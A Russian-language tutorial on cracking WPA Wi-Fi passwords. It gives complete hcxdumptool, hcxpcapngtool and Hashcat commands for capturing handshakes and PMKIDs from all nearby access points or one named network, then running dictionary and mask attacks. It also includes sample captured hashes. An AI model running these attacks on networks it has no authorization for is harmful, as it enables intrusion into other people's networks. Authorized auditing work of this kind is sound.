Аудит безопасности Wi-Fi с Hashcat и hcxdumptool
Оглавление
1. Новая инструкция по аудиту безопасности Wi-Fi
2. Актуальные инструменты для аудита безопасности Wi-Fi
3. Основные команды при аудите безопасности Wi-Fi сетей
4. Остановка процессов, которые могут помешать сбору рукопожатий и PMKID
5. Работа с сетевыми интерфейсами
Начало смотрите здесь: Повышение эффективности аудита безопасности Wi-Fi: новые инструменты, хеш и техники
Новая инструкция по аудиту безопасности Wi-Fi
Захват рукопожатий (4-Way Handshake) и PMKID (смотрите «Взлом Wi-Fi без пользователей») остаются самыми универсальными методами узнать пароль от Wi-Fi, работающими для всех Точек Доступа. Хотя для некоторых Точек Доступа имеются более быстрые методы, эксплуатирующие уязвимости, либо использующие накопленную базу данных уязвимых роутеров («Работающие способы взлома Wi-Fi»).
Рассмотрим современную атакую по захвату рукопожатий и PMKID (с помощью инструмента hcxdumptool), конвертацию в новый вид хеша (с помощью hcxpcapngtool) и его взлом на максимальных скоростях видеокарты (с помощью Hashcat).
Актуальные инструменты для аудита безопасности Wi-Fi
В этой инструкции используются следующие инструменты:
- hcxdumptool
- hcxtools (набор инструментов). А именно инструменты hcxpcapngtool и hcxhashtool из этого набора
- Hashcat
Если какая-либо из этих программ не установлены в вашей системе, то перейдите на карточки этих программ по ссылкам выше и следуйте инструкциям по установке для вашего дистрибутива.
Основные команды при аудите безопасности Wi-Fi сетей
Здесь собраны самые важные команды — на тот случай, если у вас нет времени читать статью полностью.
Имена сетевых интерфейсов:
hcxdumptool -I
Типичная команда для захвата данных:
hcxdumptool -i ИНТЕРФЕЙС -o ФАЙЛ.pcapng --active_beacon --enable_status=15
Захваченные беспроводные кадры сохранены в файл dumpfile.pcapng. Конвертация этого файла в хеши:
hcxpcapngtool -o hash.hc22000 -E wordlist dumpfile.pcapng
Будет создан файл hash.hc22000 с хешами.
Для просмотра информации о хешах используйте утилиту hcxhashtool:
hcxhashtool --info=stdout -i hash.hc22000
Атака по словарю:
hashcat -m 22000 -a 0 hash.hc22000 СЛОВАРЬ.txt
Пример атаки по маске:
hashcat -m 22000 -a 3 hash.hc22000 ?d?d?d?d?d?d?d?d
Остановка процессов, которые могут помешать сбору рукопожатий и PMKID
Аудит безопасности Wi-Fi сетей можно разделить на:
- Онлайн атаку, когда захватываются данные, необходимые для расшифровки пароля беспроводной сети. В этот период нужно быть недалеко от атакуемой Точки Доступа, при этом она должна работатать. То есть как бы «онлайн»
- и Офлайн атаку, когда выполняется брут-форс пароля. В это время можно быть где угодно, а Точка Доступа может быть даже отключена — на результат атаки это уже не скажется
На время онлайн стадии настоятельно рекомендуется остановить службы, которые могут вмешиваться в работу сетевых интерфейсов:
sudo systemctl stop NetworkManager sudo systemctl stop wpa_supplicant
После завершения сбора рукопожатий и PMKID вы можете вновь запустить NetworkManager (wpa_supplicant будет запущен автоматически):
sudo systemctl start NetworkManager
Работа с сетевыми интерфейсами
Утилита hcxdumptool является универсальной программой для просмотра статуса и управления сетевыми интерфейсами, а также для выполнения беспроводных атак.
Чтобы вывести список беспроводных интерфейсов используйте команду:
hcxdumptool -I
Пример вывода (да, я собрал коллекцию из адаптеров на различных чипсетах: Realtek, Atheros, Intel и Mediatek):
wlan interfaces: c0b6f9daaf3e wlo1 (iwlwifi) 00c0ca96cfcb wlp0s20f0u2 (ath9k_htc) warning:spoofed MAC e20def45c3f8 detected 00c0ca900d9f wlp0s20f0u1 (rt2800usb) warning:spoofed MAC e2b48830044d detected 00c0cab026eb wlp0s20f0u5 (mt76x2u) warning:spoofed MAC 72fe786e01f0 detected
Аналогичный результат вы можете получить командой:
iw dev
С помощью команды вида
sudo hcxdumptool -i ИНТЕРФЕЙС -C
можно просмотреть поддерживаемые беспроводным адаптером каналы.
Например:
sudo hcxdumptool -i wlp0s20f0u1 -C
Аналогичную информацию вы можете вывести командой
iw list
Опция --check_driver запускает несколько тестов, чтобы убедиться, что драйвер поддерживает все необходимые системные вызовы ioctl(). Драйвер должен поддерживать режим монитора и полное внедрение пакетов, иначе hcxdumptool не будет работать должным образом:
sudo hcxdumptool -i ИНТЕРФЕЙС --check_driver
Например:
sudo hcxdumptool -i wlp0s20f0u1 --check_driver
Ключевыми в выводе являются строки:
driver tests passed... all required ioctl() system calls are supported by driver
Они означают, что данный беспроводной адаптер в полной мере подходит для выполнения беспроводных атак.
С помощью опции --check_injection вы можете запустить тест антенны и тест беспроводной инъекции пакетов, чтобы определить, поддерживает ли драйвер полное внедрение пакетов.
Результаты этого теста являются нестабильными, поскольку зависят от ряда факторов: близости к Точкам Доступа и качеству сигнала, который, в свою очередь, может меняться от тех или иных помех.
Ещё один способ проверить, работает ли инъекция пакетов, это опция --do_rcascan, программа выведет список Точек Доступа в пределах досягаемости и INJECTION-RATIO. Для получения результатов рекомендуется запустить программу хотя бы на 13 * 5 секунд (13 каналов, по умолчанию время прослушивания каждого канала 5 секунд):
sudo hcxdumptool -i ИНТЕРФЕЙС --do_rcascan
Например:
sudo hcxdumptool -i wlp0s20f0u1 --do_rcascan
Обратите внимание на шапку таблицы:
BSSID FREQ CH RSSI BEACON RESPONSE ESSID SCAN-FREQ: 2432 INJECTION-RATIO: 30% [18:59:25]
В ней имеется значение INJECTION-RATIO.
Если ТД в пределах вашей досягаемости, то можно приступить к атаке.
Если использование ioctl() по каким-либо причинам невозможно с вашим беспроводным адаптером, то вы можете перевести его в режим монитора обычным способом (автор hcxdumptool рекомендует это только как крайний вариант):
sudo ip link set <ИНТЕРФЕЙС> down sudo iw <ИНТЕРФЕЙС> set monitor control sudo ip link set <ИНТЕРФЕЙС> up
Сбор рукопожатий и PMKID
Атака всех ТД
Типичная команда для захвата данных:
hcxdumptool -i ИНТЕРФЕЙС -o ФАЙЛ.pcapng --active_beacon --enable_status=15
В этой команде ФАЙЛ.pcapng — файл, в который будут сохраняться захваченные беспроводные фреймы.
Пример моей команды:
sudo hcxdumptool -i wlp0s20f0u2 -o dumpfile.pcapng --active_beacon --enable_status=15
По умолчанию время переключения между каналами составляет 5 секунд. Это больше подходит если вы передвигаетесь, то есть для мобильных атак. Если вы размещены стационарно и никуда не торопитесь, то время работы на каждом канале можно увеличить, например, до двух минут (опция -t СЕКУНДЫ):
sudo hcxdumptool -i wlp0s20f0u2 -o dumpfile.pcapng --active_beacon --enable_status=15 -t 120
Если вы не хотите, чтобы ваш беспроводной адаптер излучал какие-либо фреймы, то укажите опцию --silent. Это отключит атаку Деаутентификация, атаку на клиентов без ТД, но сделает вас невидимым (для устройств мониторинга беспроводной активности).
По умолчанию hcxdumptool автоматически выбирает каналы, на которых ведётся прослушивание и захват данных. С помощью опции -c ЦИФРА вы можете выбрать установить частоту (2437,2462,5600,…) или канал (1,2,3, …). По умолчанию: автоматическая частота/автоматический диапазон. Максимальное количество записей: 255. Значения в пределах 0-1000 трактуются как каналы, а значения >1000 трактуется как частота в MHz
На 5GHz и 6GHz рекомендуется использовать частоту вместо номеров канала поскольку номера каналов здесь не уникальны. Стандартные каналы 802.11 (зависят от устройства, драйвера и world regulatory domain): https://en.wikipedia.org/wiki/List_of_WLAN_channels
С помощью опции -s ЦИФРА вы можете установить предопределённый список сканирования, имеются следующие списки:
- 0 = автоматическая частота/автоматический диапазон (по умолчанию)
- 1 = 1,6,11,3,5,1,6,11,2,4,1,6,11,7,9,1,6,11,8,10,1,6,11,12,13 (оптимизированный диапазон 2.4GHz)
- 2 = 1,2,3,4,5,6,7,8,9,10,11,12,13 (стандартный диапазон 2.4 GHz)
- 3 = 36,40,44,48,52,56,60,64,100,104,108,112,116,120,124,128,132,136,140,144,149,153,157,161,165 (стандартный диапазон 5GHz)
- 4 = 1,2,3,4,5,6,7,8,9,10,11,12,13,36,40,44,48,52,56,60,64,100,104,108,112,116,120,124,128,132,136,140,144,149,153,157,161,165 (стандартный диапазон 2.4GHz/5GHz)
Если вы хотите сохранить координаты беспроводных Точек Доступа/трек вашего передвижения, то используйте опции:
--use_gps_device=УСТРОЙСТВО
использовать устройство GPS, такие как /dev/ttyACM0, /dev/ttyUSB0, … (стандарт NMEA 0183, поля $GPGGA $GPGGA)
--use_gpsd
использовать устройство GPSD (стандарт NMEA 0183, поля $GPGGA $GPGGA)
--nmea=ФАЙЛ
сохранить трек в файл. Формат: NMEA 0183 $GPGGA, $GPRMC, $GPWPL
Смотрите также: Как использовать телефон на Android в качестве GPS сенсора в Linux
Пример журнала работы программы:
Расшифровку терминов вы найдёте в разделе «Используемые сокращения» на странице программы: https://kali.tools/?p=4197.
Атака определённой ТД
Для атаки определённой Точки Доступа, подразумевая, что вы знаете её название (ESSID) необходимо знать канал, на котором она работает и её MAC адрес (BSSID). Эти сведения можно собрать запустив hcxdumptool с опцией --do_rcascan:
sudo hcxdumptool -i wlp0s20f0u2 --do_rcascan
Предположим, меня интересует точка доступа с именем сети RT-728005:
BSSID FREQ CH RSSI BEACON RESPONSE ESSID SCAN-FREQ: 2422 INJECTION-RATIO: 27% [12:51:31] ----------------------------------------------------------------------------------------------------- … … c891f9c7eff6 2412 1 113 47 34 RT-728005 … …
К команде hcxdumptool необходимо добавить опции:
- --filtermode=КАНАЛ
- --filterlist_ap=MAC_ИЛИ_ФАЙЛ_С_MAC
К примеру, интересующая меня ТД RT-728005 работает на первом канале и имеет BSSID c891f9c7eff6, тогда команда следующая:
sudo hcxdumptool -i wlp0s20f0u2 -o RT-728005.pcapng --active_beacon --enable_status=15 --filtermode=2 --filterlist_ap=c891f9c7eff6 -c 1
Захваченные беспроводные кадры сохранены в файл RT-728005.pcapng. Конвертация этого файла в хеш:
hcxpcapngtool -o RT-728005.hc22000 -E wordlist RT-728005.pcapng
Просмотр информации о хеше:
hcxhashtool --info=stdout -i RT-728005.hc22000
На этом заканчивается онлайн стадия. Теперь можно вновь запустить Network Manager:
sudo systemctl start NetworkManager
Конвертация хеша
Для конвертации хеша используйте команду вида:
hcxpcapngtool -o ХЕШ.hc22000 -E СЛОВАРЬ ФАЙЛ_ЗАХВАТА.pcapng
В этой команде:
- ХЕШ.hc22000 — файл, куда будут помещены все конвертированные хеши
- СЛОВАРЬ — список строк, включающий в себя имена увиденных ТД (ESSID), а также строки, переданные в открытом виде — иногда здесь можно увидеть пароль от Wi-Fi, некоторые особенно неудачно сконструированные устройства могут передавать его в открытом виде
- ФАЙЛ_ЗАХВАТА.pcapng — файл с беспроводными кадрами, которые мы захватили на предыдущем шаге
Пример команды:
hcxpcapngtool -o hash.hc22000 -E wordlist dumpfile.pcapng
Будет создан файл hash.hc22000 с хешами и выведена статика по захваченным данным:
Пример хешей:
WPA*02*cf8d06ec4aeba37f5288e65ad802f5d3*10ae604c41e6*d4124342bd39*54502d4c696e6b5f303132365f455854*dbb9bae2cb780756c822938f252ac6c231b8246cd85e77fdcc985ee97ed35de8*0103007502010a0000000000000000f53c8d7a67dcf998fcc7e71de2b8fc076845c7fce4b04c7f1a52a67f03c2970bfc34000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac020100000fac040100000fac020000*10 WPA*02*db391bf2742b8f862aa0656f4a3ab063*10ae604c41e7*b4fbe33717a0*616b3834*dbb9bae2cb780756c822938f252ac6c231b8246cd85e77fdcc985ee97ed35de8*0103007502010a0000000000000000f53c54c7c5c35fead373561cc26664649e6f6d3664765abdba3e1396442e3dbf7043000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac020100000fac040100000fac020000*10 WPA*02*3d40af734bfaaaeb4649e0eab240a39e*10ae604c41e8*ee48b8e81589*54502d4c696e6b5f303132365f3547*dbb9bae2cb780756c822938f252ac6c231b8246cd85e77fdcc985ee97ed35de8*0103007502010a0000000000000000f53c93bb8236f147d14d1f562b4f59cf7b050dc4b76f6faa5fdd0aa9cc233b6b06b5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac020100000fac040100000fac020000*10 WPA*02*efb03520bbd51818ff1bedd948633d0d*1c3bf3110126*28565a0ce1b1*54502d4c696e6b5f30313236*dbb9bae2cb780756c822938f252ac6c231b8246cd85e77fdcc985ee97ed35de8*0103007502010a0000000000000000f53c684d1db707cb77070f2f82f2e7dcc3d13588651a03283cd42e5ceab8dcc4ab57000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*10 WPA*02*4dd975abac76732237967a7751880a27*52ff20513c4c*b4fbe33717a0*616b3834*dbb9bae2cb780756c822938f252ac6c231b8246cd85e77fdcc985ee97ed35de8*0103007502010a0000000000000000f53cab25d6ef96c3a0295c2849e02799b777f6aa88a0169d645547f4c72862d7092b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*10 WPA*02*f8021dd2fbac283ed9abbae33d507636*68ff7b2b33d0*420a96ef1527*54502d4c696e6b5f333343455f3547*dbb9bae2cb780756c822938f252ac6c231b8246cd85e77fdcc985ee97ed35de8*0203007502010a0010000000000000f53ceeaa8e20f3d31a31ed31b99431c72fff3b8a8b4568bdf09bc68b952742a484c9000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020c00*10 WPA*02*87ca0740cc9115d80092b4481ccd0f7f*68ff7b2b33d0*5e02e859bc68*54502d4c696e6b5f333343455f3547*71159d9a8e714aabb36f449f603bcc3a5b1d754c5ee756b314e4ee8e475e31fa*0103007502010a001000000000000000010335e9a1c1859746102aa540f063c6d2843ac8b6334b23aab61a1441564d4448000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020c00*02 WPA*02*2b25289c5d103de4455c605185f16799*68ff7b2b33d0*6e4138786697*54502d4c696e6b5f333343455f3547*dbb9bae2cb780756c822938f252ac6c231b8246cd85e77fdcc985ee97ed35de8*0103007502010a0000000000000000f53c0a63db353cb974e01b619ccb5a2505ed25df29630f9dab7ff09a6e7579095024000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac02ac24*10 WPA*01*472dca0f8d8fddc252c3eb15f8fe77ab*8c10d4c712b6*b0febd84cfaa*526f7374656c65636f6d5f433731324236*** WPA*01*784d7491048ba9d3fa68f64e294453cf*b09575bddc88*b0febd84cfaa*54502d4c696e6b5f444338365f3547*** WPA*01*b07fec80cc50c50aeddf66d599d24f2b*cc32e5b688f2*b0febd84cfaa*54502d4c696e6b5f383846305f3547*** WPA*01*8037d5a102f36040899b8c66f440c44b*e8018d3f4418*b0febd84cfaa*66685f336634343138*** WPA*02*2c68c0106fca98afb4ced71b9fc9d9c9*e848b8e81588*d4124342bd39*54502d4c696e6b5f303132365f455854*a736810c5a6dffb7317c1c88ca16afe6572762f186674e71879bcbb0c53e820b*0103007502010a00000000000000000001fbf958785389e5a6d68fd7446e2a0f4a858632bf4d103b73b66d6cc459622c0b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*02
Структура хешей следующая:
ПРОТОКОЛ*ТИП*PMKID/MIC*MACAP*MACCLIENT*ESSID*ANONCE*EAPOL*MESSAGEPAIR
Где:
- ПРОТОКОЛ = Всегда строка "WPA"
- ТИП = 01 для PMKID, 02 для EAPOL
- PMKID/MIC = PMKID если TYPE=01, MIC если TYPE=02
- MACAP = MAC Точки Доступа
- MACCLIENT = MAC Клиента
- ESSID = имя сети (ESSID) в HEX
- ANONCE = ANONCE
- EAPOL = EAPOL (SNONCE здесь)
- MESSAGEPAIR = битовая маска:
- 0: MP info (https://hashcat.net/wiki/doku.php?id=hccapx)
- 1: MP info (https://hashcat.net/wiki/doku.php?id=hccapx)
- 2: MP info (https://hashcat.net/wiki/doku.php?id=hccapx)
- 3: x (не используется)
- 4: атака ap-less (установлено на 1) — нет необходимости в nonce-error-corrections
- 5: LE router detected (установлено на 1) — nonce-error-corrections необходимы только для LE
- 6: BE router detected (установлено на 1) - nonce-error-corrections необходимы только для BE
- 7: not replaycount checked (set to 1) - replaycount не отмечен, nonce-error-corrections определённо необходим
Для просмотра информации о хешах используйте утилиту hcxhashtool:
hcxhashtool --info=stdout -i ФАЙЛ.ХЕШЕЙ
Например:
hcxhashtool --info=stdout -i hash.hc22000
Будет выведен список хешей и их характеристик.
У hcxhashtool имеется ряд фильтров, самыми полезными из них являются:
--essid=<ESSID> : фильтровать по ESSID --essid-part=ЧАСТЬ ESSID : фильтровать по части ESSID --mac-skiplist=ФАЙЛ : исключить по MAC из файла формат: 001122334455, 00:11:22:33:44:55, 00-11-22-33-44-55 (hex)
К примеру, следующая команда выведет информацию только о ТД с именем TP-Link_0126
hcxhashtool --info=stdout -i hash.hc22000 --essid=TP-Link_0126
Если вы хотите извлечь один хеш, либо исключить определённые хеши, то используйте фильтр (приведённый выше или из полного списка https://kali.tools/?p=4205#hcxhashtool опций), а также опцию -o, после которой укажите файл, в которой должны быть сохранены указанные хеши:
hcxhashtool -i hash.hc22000 --essid=ak84 -o ak84.hc22000
Если вы хотите, чтобы присутствовало только по одному хешу для каждой Точки Доступа, то используйте следующую конструкцию:
cat hash.hc22000 | sort -t "*" -k 6,6 -u > hash.hc22000.uniq hcxhashtool --info=stdout -i hash.hc22000.uniq
Взлом хеша
Пример запуска атаки по словарю, хеши сохранены в файл hash.hc22000.
Скачиваем словарь:
wget https://wpa-sec.stanev.org/dict/cracked.txt.gz
Запускаем брут-форс:
hashcat -m 22000 -a 0 hash.hc22000 cracked.txt.gz
Пример атаки по маске:
hashcat -m 22000 -a 3 hash.hc22000 ?d?d?d?d?d?d?d?d
Опции, которые могут пригодиться:
- --hwmon-temp-abort=100
- -d 1
Примеры моих реальных команд:
hashcat --hwmon-temp-abort=100 -a 0 -m 22000 -d 1 RT-728005.hash rockyou_cleaned.txt hashcat --hwmon-temp-abort=100 -a 3 -m 22000 -d 1 RT-728005.hash ?d?d?d?d?d?d?d?d
Связанные статьи:
- Повышение эффективности аудита безопасности Wi-Fi: новые инструменты, хеш и техники (95%)
- Взлом Wi-Fi без пользователей (82.7%)
- Взлом Wi-Fi без пользователей в Aircrack-ng (68.5%)
- Взлом Wi-Fi без пользователей в Windows (с использованием Wireshark и Npcap для захвата PMKID) (64.9%)
- Как использовать предварительно вычисленные таблицы для взлома паролей Wi-Fi в Hashcat и John the Ripper (64.8%)
- Инструкция по использованию MITMf (RANDOM - 0.7%)